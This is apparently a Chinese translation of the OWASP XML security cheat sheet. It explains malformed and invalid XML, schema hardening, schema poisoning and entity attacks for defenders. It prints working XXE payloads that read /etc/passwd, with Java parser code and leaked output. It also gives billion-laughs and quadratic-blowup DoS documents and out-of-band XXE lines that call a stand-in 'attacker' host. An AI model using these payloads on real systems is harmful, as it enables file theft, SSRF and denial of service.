跳到内容

XML 安全备忘单

简介

虽然 XML 和 XML schema 的规范为您提供了保护 XML 应用程序所需的工具,但它们也包含多个安全漏洞。这些漏洞可被利用来执行多种类型的攻击,包括文件检索、服务器端请求伪造、端口扫描和暴力破解。本备忘单将使您了解攻击者如何利用库和软件中 XML 的不同可能性,通过两种可能的攻击面进行攻击

  • 格式错误的 XML 文档:利用应用程序遇到格式不良好的 XML 文档时出现的漏洞。
  • 无效 XML 文档:利用文档结构不符合预期时出现的漏洞。

处理格式错误的 XML 文档

格式错误的 XML 文档定义

如果 XML 文档不符合 W3C XML 规范中关于“格式良好”文档的定义,则被认为是“格式错误的”。如果 XML 文档格式错误,XML 解析器将检测到致命错误,应停止执行,文档不应进行任何额外的处理,并且应用程序应显示错误消息。 格式错误的文档可能包含以下一个或多个问题:缺少结束标签、元素顺序结构不合理、引入禁用字符等。

处理格式错误的 XML 文档

为了处理格式错误的文档,开发人员应使用遵循 W3C 规范的 XML 处理器,并且不应花费大量额外时间来处理格式错误的文档。 此外,他们应该只使用格式良好的文档,验证每个元素的内容,并且只处理预定义边界内的有效值。

格式错误的 XML 文档需要额外时间

格式错误的文档可能会影响中央处理器 (CPU) 资源的消耗。 在某些情况下,处理格式错误的文档所需的时间可能大于处理格式良好文档所需的时间。当这种情况发生时,攻击者可以利用非对称资源消耗攻击,利用更长的处理时间来导致拒绝服务 (DoS)。

要分析此攻击的可能性,请分析常规 XML 文档与相同文档的格式错误版本所需的时间。 然后,考虑攻击者如何将此漏洞与使用多个文档的 XML 洪泛攻击结合起来,以放大其效果。

处理格式错误数据的应用程序

某些 XML 解析器能够恢复格式错误的文档。 它们可以被指示尽可能地返回一个有效的树,其中包含它们能够解析的所有内容,无论文档是否不符合规范。由于恢复过程没有预定义的规则,这些解析器的方法和结果可能不总是相同。使用格式错误的文档可能会导致与数据完整性相关的意外问题。

以下两种场景说明了解析器在恢复模式下将分析的攻击向量

格式错误的文档到格式错误的文档

根据 XML 规范,字符串 --(双连字符)不得出现在注释中。使用 lxml 和 PHP 的恢复模式,以下文档在恢复后将保持不变

<element>
 <!-- one
  <!-- another comment
 comment -->
</element>

格式良好的文档到规范化的格式良好的文档

某些解析器可能会考虑规范化 CDATA 部分的内容。这意味着它们将更新 CDATA 部分中包含的特殊字符,使其包含这些字符的安全版本,即使这不是必需的

<element>
 <![CDATA[<script>a=1;</script>]]>
</element>

CDATA 部分的规范化并非解析器之间的普遍规则。Libxml 可以将此文档转换为其规范版本,但尽管格式良好,其内容在某些情况下仍可能被视为格式错误

<element>
 &lt;script&gt;a=1;&lt;/script&gt;
</element>

处理强制解析

XML 中一种常见的强制攻击涉及解析深度嵌套的 XML 文档,而没有相应的结束标签。其目的是使受害者耗尽(并最终耗尽)机器资源,从而导致目标拒绝服务。 Firefox 3.67 中的拒绝服务攻击报告包括使用 30,000 个开放的 XML 元素而没有相应的结束标签。删除关闭标签简化了攻击,因为它只需要格式良好文档一半的大小即可达到相同的结果。处理的标签数量最终导致堆栈溢出。此类文档的简化版本如下所示

<A1>
 <A2>
  <A3>
   ...
    <A30000>

违反 XML 规范规则

使用不遵循 W3C 规范的解析器操作文档可能会导致意想不到的后果。当软件未能正确验证如何处理不正确的 XML 结构时,可能会导致崩溃和/或代码执行。使用模糊测试的 XML 文档喂给软件可能会暴露这种行为。

处理无效 XML 文档

攻击者可能会在文档中引入意外值,以利用未验证文档是否包含一组有效值的应用程序。 Schemas 指定了有助于识别文档是否有效的限制,有效文档是格式良好并符合 schema 限制的文档。可以使用多个 schema 来验证文档,这些限制可能出现在多个文件中,无论是使用单一 schema 语言还是依赖不同 schema 语言的优势。

避免这些漏洞的建议是,每个 XML 文档都必须有一个精确定义的 XML Schema(不是 DTD),并且每条信息都应受到适当限制,以避免不正确的数据验证问题。使用本地副本或已知良好的存储库,而不是 XML 文档中提供的 schema 引用。此外,对引用的 XML schema 文件执行完整性检查,同时考虑到存储库可能被入侵的可能性。在 XML 文档使用远程 schema 的情况下,配置服务器仅使用安全、加密的通信,以防止攻击者窃听网络流量。

无 Schema 文档

考虑一个通过 Web 界面使用 Web 服务进行交易的书店。交易的 XML 文档由两个元素组成:一个与项目相关的 id 值和一个特定的 price。用户只能通过 Web 界面输入特定的 id

<buy>
 <id>123</id>
 <price>10</price>
</buy>

如果对文档的结构没有控制,应用程序也可能处理带有意外后果的不同格式良好的消息。前面的文档可能包含额外的标签来影响处理其内容的底层应用程序的行为:

<buy>
 <id>123</id><price>0</price><id></id>
 <price>10</price>
</buy>

请注意,值 123 再次作为 id 提供,但现在文档包含额外的开始和结束标签。攻击者关闭了 id 元素并将一个伪造的 price 元素设置为值 0。保持结构格式良好的最后一步是添加一个空的 id 元素。在此之后,应用程序添加了 id 的结束标签并将 price 设置为 10。如果应用程序仅处理提供的 ID 的第一个值以及不执行任何结构控制的值,则可能通过提供无需实际支付即可购买书籍的能力来使攻击者受益。

无限制 Schema

某些 schema 对每个元素可以接收的数据类型没有足够的限制。 这通常在使用 DTD 时发生;与可在 XML 文档中应用的限制类型相比,它的可能性非常有限。这可能会使应用程序暴露于元素或属性中不希望的值,而使用其他 schema 语言时很容易进行约束。在以下示例中,一个人的 age 根据内联 DTD schema 进行验证

<!DOCTYPE person [
 <!ELEMENT person (name, age)>
 <!ELEMENT name (#PCDATA)>
 <!ELEMENT age (#PCDATA)>
]>
<person>
 <name>John Doe</name>
 <age>11111..(1.000.000digits)..11111</age>
</person>

前面的文档包含一个名为 person 的根元素的内联 DTD。此元素按特定顺序包含两个元素:name,然后是 age。元素 name 然后被定义为包含 PCDATA,元素 age 也是如此。

在此定义之后是格式良好且有效的 XML 文档。元素 name 包含一个不相关的值,但 age 元素包含一百万位数字。由于对 age 元素的最大大小没有限制,因此此一百万位数字字符串可以发送到服务器作为此元素的值。

通常,此类元素应限制为不超过特定数量的字符,并约束为特定字符集(例如,0 到 9 的数字、+ 号和 - 号)。如果未正确限制,应用程序可能会处理文档中包含的潜在无效值。

由于无法指示特定限制(例如元素 name 的最大长度或元素 age 的有效范围),此类 schema 增加了影响资源完整性和可用性的风险。

不正确的数据验证

当 schema 定义不安全且未提供严格规则时,它们可能会使应用程序面临各种情况。这可能导致内部错误泄露或文档以意外值影响应用程序功能。

字符串数据类型

假如您需要使用十六进制值,将其定义为稍后将限制为 16 个特定十六进制字符的字符串是没有意义的。为了举例说明这种情况,在使用 XML 加密时,某些值必须使用 base64 编码。这是这些值应该如何的 schema 定义

<element name="CipherData" type="xenc:CipherDataType"/>
 <complexType name="CipherDataType">
  <choice>
   <element name="CipherValue" type="base64Binary"/>
   <element ref="xenc:CipherReference"/>
  </choice>
 </complexType>

前面的 schema 将元素 CipherValue 定义为 base64 数据类型。例如,IBM WebSphere DataPower SOA Appliance 允许在此元素中在有效 base64 值之后出现任何类型的字符,并将其视为有效。

此数据的第一部分被正确检查为 base64 值,但其余字符可以是任何其他内容(包括 CipherData 元素的其他子元素)。对元素的限制是部分设置的,这意味着信息可能正在使用应用程序而不是建议的示例 schema 进行测试。

数值数据类型

为数字定义正确的数据类型可能更复杂,因为数字选项比字符串更多。

负数和正数限制

XML Schema 数字数据类型可以包括不同范围的数字。它们可以包括

  • negativeInteger:仅负数
  • nonNegativeInteger:正数和零值
  • positiveInteger:仅正数
  • nonPositiveInteger:负数和零值

以下示例文档定义了一个产品的 idprice 和一个由攻击者控制的 quantity

<buy>
 <id>1</id>
 <price>10</price>
 <quantity>1</quantity>
</buy>

为避免重复旧错误,可以定义一个 XML schema,以防止在攻击者想要引入额外元素的情况下处理不正确的结构

<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
 <xs:element name="buy">
  <xs:complexType>
   <xs:sequence>
    <xs:element name="id" type="xs:integer"/>
    <xs:element name="price" type="xs:decimal"/>
    <xs:element name="quantity" type="xs:integer"/>
   </xs:sequence>
  </xs:complexType>
 </xs:element>
</xs:schema>

quantity 限制为整数数据类型将避免任何意外字符。一旦应用程序收到前面的消息,它可以通过执行 price*quantity 计算最终价格。然而,由于此数据类型可能允许负值,如果攻击者提供负数,则可能允许用户账户出现负数结果。为了避免这种逻辑漏洞,您可能希望在此处看到的是 positiveInteger 而不是 integer。

除以零

当在除法中使用用户控制的值作为分母时,开发人员应避免允许数字零。在 XSLT 中使用零进行除法的情况下,将发生错误 FOAR0001。其他应用程序可能会抛出其他异常,程序可能会崩溃。 XML schema 有专门避免使用零值的特定数据类型。例如,在负值和零不被视为有效的情况下,schema 可以为元素指定数据类型 positiveInteger

<xs:element name="denominator">
 <xs:simpleType>
  <xs:restriction base="xs:positiveInteger"/>
 </xs:simpleType>
</xs:element>

元素 denominator 现在被限制为正整数。这意味着只有大于零的值才会被视为有效。如果您看到使用了任何其他类型的限制,如果分母为零,您可能会触发错误。

特殊值:无穷大和非数字 (NaN)

数据类型 floatdouble 包含实数和一些特殊值:-Infinity-INFNaN+InfinityINF。这些可能性可能有助于表达某些值,但有时它们会被滥用。问题是它们通常仅用于表达实数,例如价格。这是在其他编程语言中常见的错误,不仅限于这些技术。

不考虑数据类型所有可能值的范围可能会导致底层应用程序失败。如果不需要特殊值 InfinityNaN,并且只期望实数,则建议使用数据类型 decimal

<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
 <xs:element name="buy">
  <xs:complexType>
   <xs:sequence>
    <xs:element name="id" type="xs:integer"/>
    <xs:element name="price" type="xs:decimal"/>
    <xs:element name="quantity" type="xs:positiveInteger"/>
   </xs:sequence>
  </xs:complexType>
 </xs:element>
</xs:schema>

当价格值设置为 Infinity 或 NaN 时,不会触发任何错误,因为这些值将无效。如果允许这些值,攻击者可以利用此问题。

一般数据限制

选择合适的数据类型后,开发人员可以应用额外的限制。有时,数据类型中只有某些子集的值才会被视为有效

带前缀的值

某些类型的值应仅限于特定集合:交通信号灯只有三种颜色,只有 12 个月可用,等等。schema 可能对每个元素或属性都设置了这些限制。这是应用程序最完美的允许列表场景:只接受特定值。这种约束在 XML schema 中称为 enumeration以下示例将 month 元素的内容限制为 12 个可能的值

<xs:element name="month">
 <xs:simpleType>
  <xs:restriction base="xs:string">
   <xs:enumeration value="January"/>
   <xs:enumeration value="February"/>
   <xs:enumeration value="March"/>
   <xs:enumeration value="April"/>
   <xs:enumeration value="May"/>
   <xs:enumeration value="June"/>
   <xs:enumeration value="July"/>
   <xs:enumeration value="August"/>
   <xs:enumeration value="September"/>
   <xs:enumeration value="October"/>
   <xs:enumeration value="November"/>
   <xs:enumeration value="December"/>
  </xs:restriction>
 </xs:simpleType>
</xs:element>

通过将月份元素的值限制为上述任何值,应用程序将不会处理随机字符串。

范围

软件应用程序、数据库和编程语言通常在特定范围内存储信息。在使用元素或属性时,如果特定大小很重要(为避免溢出或下溢),则检查数据长度是否被认为是有效的将是合乎逻辑的。 以下 schema 可以通过使用最小和最大长度来约束名称,以避免异常情况

<xs:element name="name">
 <xs:simpleType>
  <xs:restriction base="xs:string">
   <xs:minLength value="3"/>
   <xs:maxLength value="256"/>
  </xs:restriction>
 </xs:simpleType>
</xs:element>

在可能的值限制为特定长度(例如 8)的情况下,此值可以如下指定为有效

<xs:element name="name">
 <xs:simpleType>
  <xs:restriction base="xs:string">
   <xs:length value="8"/>
  </xs:restriction>
 </xs:simpleType>
</xs:element>
模式

某些元素或属性可能遵循特定的语法。在使用 XML schema 时,您可以添加 pattern 限制。当您希望确保数据符合特定模式时,您可以为其创建特定的定义。社会安全号码 (SSN) 是一个很好的例子;它们必须使用特定的字符集、特定的长度和特定的 pattern

<xs:element name="SSN">
 <xs:simpleType>
  <xs:restriction base="xs:token">
   <xs:pattern value="[0-9]{3}-[0-9]{2}-[0-9]{4}"/>
  </xs:restriction>
 </xs:simpleType>
</xs:element>

只有 000-00-0000999-99-9999 之间的数字才允许作为 SSN 的值。

断言

断言组件约束 XML schema 上相关元素和属性的存在和值。只有当测试评估为真且未引发任何错误时,元素或属性才被视为符合断言。变量 $value 可用于引用正在分析的值的内容。

上面“除以零”一节提到了将包含零值的数据类型用作分母的潜在后果,并提出了只包含正值的数据类型。一个相反的例子会考虑除了零之外的所有数字范围都是有效的。为了避免披露潜在错误,可以使用不允许数字零的 assertion 来检查值

<xs:element name="denominator">
 <xs:simpleType>
  <xs:restriction base="xs:integer">
   <xs:assertion test="$value != 0"/>
  </xs:restriction>
 </xs:simpleType>
</xs:element>

该断言保证 denominator 不会包含零值作为有效数字,并且还允许负数作为有效分母。

出现次数

不定义最大出现次数的后果可能比处理接收到极端数量项目时的后果更糟。 两个属性指定了最小和最大限制:minOccursmaxOccurs

minOccursmaxOccurs 属性的默认值都是 1,但某些元素可能需要其他值。例如,如果一个值是可选的,它的 minOccurs 可以是 0;如果最大数量没有限制,它的 maxOccurs 可以是 unbounded,如下例所示

<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
 <xs:element name="operation">
  <xs:complexType>
   <xs:sequence>
    <xs:element name="buy" maxOccurs="unbounded">
     <xs:complexType>
      <xs:all>
       <xs:element name="id" type="xs:integer"/>
       <xs:element name="price" type="xs:decimal"/>
       <xs:element name="quantity" type="xs:integer"/>
      </xs:all>
     </xs:complexType>
    </xs:element>
  </xs:complexType>
 </xs:element>
</xs:schema>

前面的 schema 包含一个名为 operation 的根元素,它可以包含无限 (unbounded) 数量的买入元素。这是一个常见的发现,因为开发人员通常不想限制最大出现次数。使用无限次出现的应用程序应该测试当它们收到极其大量的元素要处理时会发生什么。由于计算资源有限,应该分析其后果,并最终使用最大数量而不是 unbounded 值。

巨型负载

发送一个 1GB 的 XML 文档只需要一秒钟的服务器处理时间,可能不值得作为攻击考虑。相反,攻击者会寻找一种方法,与处理请求所需的服务器 CPU 或流量总量相比,最大限度地减少用于生成此类攻击的 CPU 和流量。

传统巨型负载

有两种主要方法使文档大于正常大小

- 深度攻击:使用大量的元素、元素名称和/或元素值。

- 宽度攻击:使用大量的属性、属性名称和/或属性值。

在大多数情况下,总体结果将是一个巨大的文档。这是一个简单的示例,说明了其外观

<SOAPENV:ENVELOPE XMLNS:SOAPENV="HTTP://SCHEMAS.XMLSOAP.ORG/SOAP/ENVELOPE/"
                  XMLNS:EXT="HTTP://COM/IBM/WAS/WSSAMPLE/SEI/ECHO/B2B/EXTERNAL">
 <SOAPENV:HEADER LARGENAME1="LARGEVALUE"
                 LARGENAME2="LARGEVALUE2"
                 LARGENAME3="LARGEVALUE3" >
 ...

“小型”巨型负载

以下示例是一个非常小的文档,但处理它的结果可能与处理传统巨型负载的结果相似。 这种小负载的目的是允许攻击者足够快地发送许多文档,以使应用程序消耗大部分或所有可用资源

<?xml version="1.0"?>
<!DOCTYPE root [
 <!ENTITY file SYSTEM "http://attacker/huge.xml" >
]>
<root>&file;</root>

Schema 投毒

当攻击者能够修改 schema 时,可能会产生多个高风险后果。特别是,如果 schema 使用 DTD(例如,文件检索,拒绝服务),这些后果的影响将更加危险。 攻击者可以在多种场景中利用这种类型的漏洞,这始终取决于 schema 的位置。

本地 Schema 投毒

本地 schema 投毒发生在 schema 位于同一主机上时,无论 schema 是否嵌入在同一 XML 文档中。

嵌入式 Schema

最常见的 schema 投毒类型发生在 schema 定义在同一 XML 文档中时。 考虑以下 W3C 提供的无意中易受攻击的示例

<?xml version="1.0"?>
<!DOCTYPE note [
 <!ELEMENT note (to,from,heading,body)>
 <!ELEMENT to (#PCDATA)>
 <!ELEMENT from (#PCDATA)>
 <!ELEMENT heading (#PCDATA)>
 <!ELEMENT body (#PCDATA)>
]>
<note>
 <to>Tove</to>
 <from>Jani</from>
 <heading>Reminder</heading>
 <body>Don't forget me this weekend</body>
</note>

note 元素的所有限制都可以被删除或更改,从而允许向服务器发送任何类型的数据。此外,如果服务器正在处理外部实体,攻击者可以使用 schema,例如,从服务器读取远程文件。这种 schema 类型仅作为发送文档的建议,但它必须包含一种方法来检查嵌入式 schema 的完整性才能安全使用。通过嵌入式 schema 进行的攻击通常用于利用外部实体扩展。嵌入式 XML schema 还可以帮助对内部主机进行端口扫描或暴力破解攻击。

权限不正确

您通常可以通过处理本地 schema 来规避使用远程篡改版本的风险。

<!DOCTYPE note SYSTEM "note.dtd">
<note>
 <to>Tove</to>
 <from>Jani</from>
 <heading>Reminder</heading>
 <body>Don't forget me this weekend</body>
</note>

但是,如果本地 schema 不包含正确的权限,内部攻击者可能会更改原始限制。 以下行举例说明了一个 schema,其权限允许任何用户进行修改

-rw-rw-rw-  1 user  staff  743 Jan 15 12:32 note.dtd

name.dtd 上设置的权限允许系统上的任何用户进行修改。此漏洞显然与 XML 或 schema 的结构无关,但由于这些文档通常存储在文件系统中,因此值得一提的是攻击者可以利用此类问题。

远程 Schema 投毒

由外部组织定义的 Schema 通常被远程引用。如果能够截获或访问网络流量,攻击者可能会导致受害者获取与最初预期不同的内容。

中间人 (MitM) 攻击

当文档使用未加密的超文本传输协议 (HTTP) 引用远程 schema 时,通信以纯文本形式进行,攻击者可以轻易篡改流量。当 XML 文档通过 HTTP 连接引用远程 schema 时,连接可能在到达最终用户之前被嗅探和修改:

<!DOCTYPE note SYSTEM "http://example.com/note.dtd">
<note>
 <to>Tove</to>
 <from>Jani</from>
 <heading>Reminder</heading>
 <body>Don't forget me this weekend</body>
</note>

当使用未加密的 HTTP 协议传输时,远程文件 note.dtd 可能会受到篡改。一个可用于促进此类攻击的工具是 mitmproxy 。

DNS 缓存投毒

即使使用像超文本传输安全协议 (HTTPS) 这样的加密协议,远程 schema 投毒也可能发生。当软件对 IP 地址执行反向域名系统 (DNS) 解析以获取主机名时,它可能无法正确确保 IP 地址确实与主机名关联。 在这种情况下,软件允许攻击者将内容重定向到其自己的互联网协议 (IP) 地址。

前面的示例使用未加密的协议引用了主机 example.com

切换到 HTTPS 后,远程 schema 的位置将变为 https://example/note.dtd。在正常情况下,example.com 的 IP 解析为 1.1.1.1

$ host example.com
example.com has address 1.1.1.1

如果攻击者入侵了正在使用的 DNS,则以前的主机名现在可能指向由攻击者控制的新的、不同的 IP 2.2.2.2

$ host example.com
example.com has address 2.2.2.2

当访问远程文件时,受害者实际上可能正在检索由攻击者控制的位置的内容。

恶意员工攻击

当第三方托管和定义 schema 时,其内容不受 schema 用户控制。恶意员工或控制这些文件的外部攻击者引入的任何修改都可能影响所有处理 schema 的用户。随后,攻击者可能会影响其他服务的机密性、完整性或可用性(特别是如果使用的 schema 是 DTD)。

XML 实体扩展

如果解析器使用 DTD,攻击者可能会注入可能在文档处理过程中对 XML 解析器产生不利影响的数据。这些不利影响可能包括解析器崩溃或访问本地文件。

易受攻击的 Java 实现示例

利用 DTD 引用本地或远程文件的能力,可以影响文件机密性。 此外,如果未对实体扩展设置适当的限制,还可能影响资源的可用性。考虑以下 XXE 的示例代码。

XML 示例:

<!DOCTYPE contacts SYSTEM "contacts.dtd">
<contacts>
 <contact>
  <firstname>John</firstname>
  <lastname>&xxe;</lastname>
 </contact>
</contacts>

DTD 示例:

<!ELEMENT contacts (contact*)>
<!ELEMENT contact (firstname,lastname)>
<!ELEMENT firstname (#PCDATA)>
<!ELEMENT lastname ANY>
<!ENTITY xxe SYSTEM "/etc/passwd">
使用 DOM 的 XXE
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.xml.sax.InputSource;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;

public class parseDocument {
 public static void main(String[] args) {
  try {
   DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
   DocumentBuilder builder = factory.newDocumentBuilder();
   Document doc = builder.parse(new InputSource("contacts.xml"));
   NodeList nodeList = doc.getElementsByTagName("contact");
   for (int s = 0; s < nodeList.getLength(); s++) {
     Node firstNode = nodeList.item(s);
     if (firstNode.getNodeType() == Node.ELEMENT_NODE) {
       Element firstElement = (Element) firstNode;
       NodeList firstNameElementList = firstElement.getElementsByTagName("firstname");
       Element firstNameElement = (Element) firstNameElementList.item(0);
       NodeList firstName = firstNameElement.getChildNodes();
       System.out.println("First Name: "  + ((Node) firstName.item(0)).getNodeValue());
       NodeList lastNameElementList = firstElement.getElementsByTagName("lastname");
       Element lastNameElement = (Element) lastNameElementList.item(0);
       NodeList lastName = lastNameElement.getChildNodes();
       System.out.println("Last Name: " + ((Node) lastName.item(0)).getNodeValue());
     }
    }
  } catch (Exception e) {
    e.printStackTrace();
  }
 }
}

前面的代码产生以下输出

$ javac parseDocument.java ; java parseDocument
First Name: John
Last Name: ### User Database
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
使用 DOM4J 的 XXE
import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.io.SAXReader;
import org.dom4j.io.OutputFormat;
import org.dom4j.io.XMLWriter;

public class test1 {
 public static void main(String[] args) {
  Document document = null;
  try {
   SAXReader reader = new SAXReader();
   document = reader.read("contacts.xml");
  } catch (Exception e) {
   e.printStackTrace();
  }
  OutputFormat format = OutputFormat.createPrettyPrint();
  try {
   XMLWriter writer = new XMLWriter( System.out, format );
   writer.write( document );
  } catch (Exception e) {
   e.printStackTrace();
  }
 }
}

前面的代码产生以下输出

$ java test1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE contacts SYSTEM "contacts.dtd">

<contacts>
 <contact>
  <firstname>John</firstname>
  <lastname>### User Database
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
使用 SAX 的 XXE
import java.io.IOException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;

public class parseDocument extends DefaultHandler {
 public static void main(String[] args) {
  new parseDocument();
 }
 public parseDocument() {
  try {
   SAXParserFactory factory = SAXParserFactory.newInstance();
   SAXParser parser = factory.newSAXParser();
   parser.parse("contacts.xml", this);
  } catch (Exception e) {
   e.printStackTrace();
  }
 }
 @Override
 public void characters(char[] ac, int i, int j) throws SAXException {
  String tmpValue = new String(ac, i, j);
  System.out.println(tmpValue);
 }
}

前面的代码产生以下输出

$ java parseDocument
John
#### User Database
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
使用 StAX 的 XXE
import javax.xml.parsers.SAXParserFactory;
import javax.xml.stream.XMLStreamReader;
import javax.xml.stream.XMLInputFactory;
import java.io.File;
import java.io.FileReader;
import java.io.FileInputStream;

public class parseDocument {
 public static void main(String[] args) {
  try {
   XMLInputFactory xmlif = XMLInputFactory.newInstance();
   FileReader fr = new FileReader("contacts.xml");
   File file = new File("contacts.xml");
   XMLStreamReader xmlfer = xmlif.createXMLStreamReader("contacts.xml",
                                            new FileInputStream(file));
   int eventType = xmlfer.getEventType();
   while (xmlfer.hasNext()) {
    eventType = xmlfer.next();
    if(xmlfer.hasText()){
     System.out.print(xmlfer.getText());
    }
   }
   fr.close();
  } catch (Exception e) {
   e.printStackTrace();
  }
 }
}

前面的代码产生以下输出

$ java parseDocument
<!DOCTYPE contacts SYSTEM "contacts.dtd">John### User Database
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh

递归实体引用

当元素 A 的定义是另一个元素 B,并且元素 B 被定义为元素 A 时,该 schema 描述了元素之间的循环引用

<!DOCTYPE A [
 <!ELEMENT A ANY>
 <!ENTITY A "<A>&B;</A>">
 <!ENTITY B "&A;">
]>
<A>&A;</A>

二次膨胀

在这种情况下,攻击者不是定义多个小而深度嵌套的实体,而是定义一个非常大的实体并尽可能多次引用它,从而导致二次膨胀 (O(n^2))。

以下攻击的结果将在内存中产生 100,000 x 100,000 个字符。

<!DOCTYPE root [
 <!ELEMENT root ANY>
 <!ENTITY A "AAAAA...(a 100.000 A's)...AAAAA">
]>
<root>&A;&A;&A;&A;...(a 100.000 &A;'s)...&A;&A;&A;&A;&A;</root>

十亿次笑声

当 XML 解析器尝试解析以下代码中包含的外部实体时,它将导致应用程序开始消耗所有可用内存,直到进程崩溃。 这是一个包含嵌入式 DTD schema 的 XML 文档示例,其中包含攻击

<!DOCTYPE root [
 <!ELEMENT root ANY>
 <!ENTITY LOL "LOL">
 <!ENTITY LOL1 "&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;">
 <!ENTITY LOL2 "&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;">
 <!ENTITY LOL3 "&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;">
 <!ENTITY LOL4 "&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;">
 <!ENTITY LOL5 "&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;">
 <!ENTITY LOL6 "&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;">
 <!ENTITY LOL7 "&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;">
 <!ENTITY LOL8 "&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;">
 <!ENTITY LOL9 "&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;">
]>
<root>&LOL9;</root>

实体 LOL9 将解析为 LOL8 中定义的 10 个实体;然后这些实体中的每一个都将在 LOL7 中解析,依此类推。最终,CPU 和/或内存将受到解析此 schema 中定义的 3 x 10^9(3,000,000,000)个实体的影响,这可能导致解析器崩溃。

简单对象访问协议 (SOAP) 规范完全禁止 DTD。这意味着 SOAP 处理器可以拒绝任何包含 DTD 的 SOAP 消息。尽管有此规范,某些 SOAP 实现确实解析了 SOAP 消息中的 DTD schema。

以下示例说明了解析器不遵循规范的情况,从而允许在 SOAP 消息中引用 DTD

<?XML VERSION="1.0" ENCODING="UTF-8"?>
<!DOCTYPE SOAP-ENV:ENVELOPE [
 <!ELEMENT SOAP-ENV:ENVELOPE ANY>
 <!ATTLIST SOAP-ENV:ENVELOPE ENTITYREFERENCE CDATA #IMPLIED>
 <!ENTITY LOL "LOL">
 <!ENTITY LOL1 "&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;">
 <!ENTITY LOL2 "&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;">
 <!ENTITY LOL3 "&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;">
 <!ENTITY LOL4 "&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;">
 <!ENTITY LOL5 "&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;">
 <!ENTITY LOL6 "&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;">
 <!ENTITY LOL7 "&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;">
 <!ENTITY LOL8 "&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;">
 <!ENTITY LOL9 "&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;">
]>
<SOAP:ENVELOPE ENTITYREFERENCE="&LOL9;"
               XMLNS:SOAP="HTTP://SCHEMAS.XMLSOAP.ORG/SOAP/ENVELOPE/">
 <SOAP:BODY>
  <KEYWORD XMLNS="URN:PARASOFT:WS:STORE">FOO</KEYWORD>
 </SOAP:BODY>
</SOAP:ENVELOPE>

反射式文件检索

考虑以下 XXE 的示例代码

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
 <!ELEMENT includeme ANY>
 <!ENTITY xxe SYSTEM "/etc/passwd">
]>
<root>&xxe;</root>

前面的 XML 定义了一个名为 xxe 的实体,它实际上是 /etc/passwd 的内容,它将在 includeme 标签内扩展。如果解析器允许引用外部实体,它可能会将该文件的内容包含在 XML 响应或错误输出中。

服务器端请求伪造

服务器端请求伪造 (SSRF) 发生在服务器收到恶意 XML schema 时,这使得服务器通过 HTTP/HTTPS/FTP 等方式检索远程资源,例如文件。 SSRF 已被用于检索远程文件,在无法反射文件或执行端口扫描时证明 XXE,或对内部网络执行暴力破解攻击。

外部 DNS 解析

有时可以诱导应用程序执行任意域名服务器端 DNS 查找。 这是 SSRF 最简单的形式之一,但需要攻击者分析 DNS 流量。Burp 有一个检查此攻击的插件。

<!DOCTYPE m PUBLIC "-//B/A/EN" "http://checkforthisspecificdomain.example.com">
外部连接

每当存在 XXE 且您无法检索文件时,您可以测试是否能够建立远程连接

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
 <!ENTITY % xxe SYSTEM "http://attacker/evil.dtd">
 %xxe;
]>
使用参数实体进行文件检索

参数实体允许使用 URL 引用检索内容。考虑以下恶意 XML 文档

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY % file SYSTEM "file:///etc/passwd">
 <!ENTITY % dtd SYSTEM "http://attacker/evil.dtd">
 %dtd;
]>
